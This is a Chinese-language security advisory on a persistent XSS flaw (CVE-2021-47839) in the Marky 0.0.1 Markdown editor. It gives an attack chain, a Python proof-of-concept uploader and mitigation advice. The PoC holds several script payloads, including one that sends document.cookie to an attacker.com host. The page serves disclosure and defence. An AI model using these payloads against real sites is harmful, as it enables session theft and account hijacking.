IPBUF安全漏洞报告
English
CVE-2021-47839 CVSS 7.2 高危

CVE-2021-47839 Marky 0.0.1 持久型跨站脚本漏洞

披露日期: 2026-01-16

漏洞信息

漏洞编号
CVE-2021-47839
漏洞类型
持久型XSS(跨站脚本攻击)
CVSS评分
7.2 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Marky

相关标签

持久型XSSCVE-2021-47839Marky跨站脚本高危漏洞Markdown编辑器Web安全漏洞利用

漏洞概述

CVE-2021-47839是Marky 0.0.1版本中存在的一个高危安全漏洞,类型为持久型跨站脚本攻击(Persistent Cross-Site Scripting)。Marky是一款开源的Markdown编辑器,该漏洞允许攻击者通过上传包含恶意JavaScript代码的Markdown文件来注入攻击载荷。当其他用户打开或预览这些被植入恶意代码的Markdown文件时,嵌入其中的JavaScript脚本将在受害者浏览器上下文中执行,从而窃取用户会话Cookie、劫持用户账户、执行任意客户端操作,甚至可能进一步利用浏览器的安全漏洞实现远程代码执行。漏洞的严重性在于其持久化特性——恶意代码会永久存储在服务器上,所有访问该文件的用户都会受到影响,无需攻击者与受害者进行任何直接交互。由于该漏洞无需认证即可利用,且CVSS评分达到7.2分(高危级别),对使用该应用的用户构成严重安全威胁。建议受影响的用户立即停止使用存在漏洞的版本,并关注官方发布的安全更新。

技术细节

Marky 0.0.1的持久型XSS漏洞源于应用程序在处理Markdown文件内容时缺乏充分的输入验证和输出编码。该应用允许用户上传Markdown文件并在线预览,但服务器端未对用户提交的Markdown内容进行安全过滤就直接存储和展示。攻击者可以利用这一漏洞在Markdown文件中嵌入HTML标签或JavaScript代码,例如使用script标签、img标签的onerror事件、a标签的javascript:协议等。当受害者通过Web界面打开这些被污染的Markdown文件时,恶意代码会在其浏览器中执行。漏洞利用的关键在于Markdown解析器对原始HTML的支持,以及应用未对特殊字符进行HTML实体编码。攻击者可以通过上传构造的.md文件实现:1)窃取用户Cookie和会话令牌;2)重定向用户到钓鱼网站;3)修改页面内容进行钓鱼攻击;4)利用浏览器漏洞进行进一步攻击。该漏洞的持久化特性意味着一旦恶意文件被上传,所有查看该文件的用户都会成为受害者。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标网站使用的Marky版本,确认版本为0.0.1且存在CVE-2021-47839漏洞
STEP 2
步骤2: 构造恶意载荷
攻击者构造包含恶意JavaScript代码的Markdown文件,使用script标签、事件处理器等技术在Markdown中嵌入XSS payload
STEP 3
步骤3: 上传恶意文件
通过Marky的文件上传功能将恶意Markdown文件上传到服务器,由于缺乏输入验证,恶意代码被持久化存储
STEP 4
步骤4: 等待受害者访问
攻击者等待或诱导其他用户(管理员)打开或预览该恶意Markdown文件
STEP 5
步骤5: XSS执行
当受害者浏览器渲染Markdown文件时,未经过滤的恶意JavaScript代码在其浏览器上下文中执行
STEP 6
步骤6: 窃取敏感信息
成功执行的XSS代码可以窃取用户Cookie、会话令牌、键盘记录等敏感信息,并发送到攻击者控制的服务器
STEP 7
步骤7: 账户劫持
利用窃取的会话信息,攻击者可以劫持受害者账户,进一步扩大攻击范围

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2021-47839 PoC - Marky 0.0.1 Persistent XSS This PoC demonstrates how to exploit the persistent XSS vulnerability in Marky by uploading a malicious Markdown file. """ import requests import json TARGET_URL = "http://target-server.com" # Replace with actual target UPLOAD_ENDPOINT = f"{TARGET_URL}/upload" # Malicious Markdown payload with embedded JavaScript # This payload will execute JavaScript when the file is viewed MALICIOUS_PAYLOAD = '''# Document Title <script>alert("XSS Vulnerability Triggered - CVE-2021-47839");</script> ## Content This file contains a persistent XSS payload. <script> // Steal cookies and send to attacker document.write('<img src="http://attacker.com/log?cookie=' + document.cookie + '"/>'); </script> ## Additional Test Payloads: <img src=x onerror="alert(document.domain)"> <a href="javascript:alert(document.cookie)">Click me</a> <svg/onload=alert(document.cookie)> ''' def exploit_cve_2021_47839(): """ Upload malicious Markdown file to exploit persistent XSS """ files = { 'file': ('malicious.md', MALICIOUS_PAYLOAD, 'text/markdown') } try: # Upload the malicious file response = requests.post(UPLOAD_ENDPOINT, files=files) if response.status_code == 200: print("[+] Malicious file uploaded successfully!") print(f"[+] Payload will execute when file is viewed by any user") print(f"[+] Response: {response.text}") else: print(f"[-] Upload failed with status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": print("CVE-2021-47839 Marky Persistent XSS Exploit") print("=" * 50) exploit_cve_2021_47839()

影响范围

Marky 0.0.1

防御指南

临时缓解措施
在官方修复版本发布之前,可采取以下临时缓解措施:1)限制Markdown文件上传功能,仅允许受信任用户上传;2)部署Web应用防火墙(WAF)规则检测和阻止XSS攻击特征;3)启用Content-Security-Policy响应头,限制内联脚本执行;4)对所有用户生成的内容进行HTML净化处理,过滤script标签和事件处理器属性;5)监控应用日志,及时发现异常的上传和访问行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表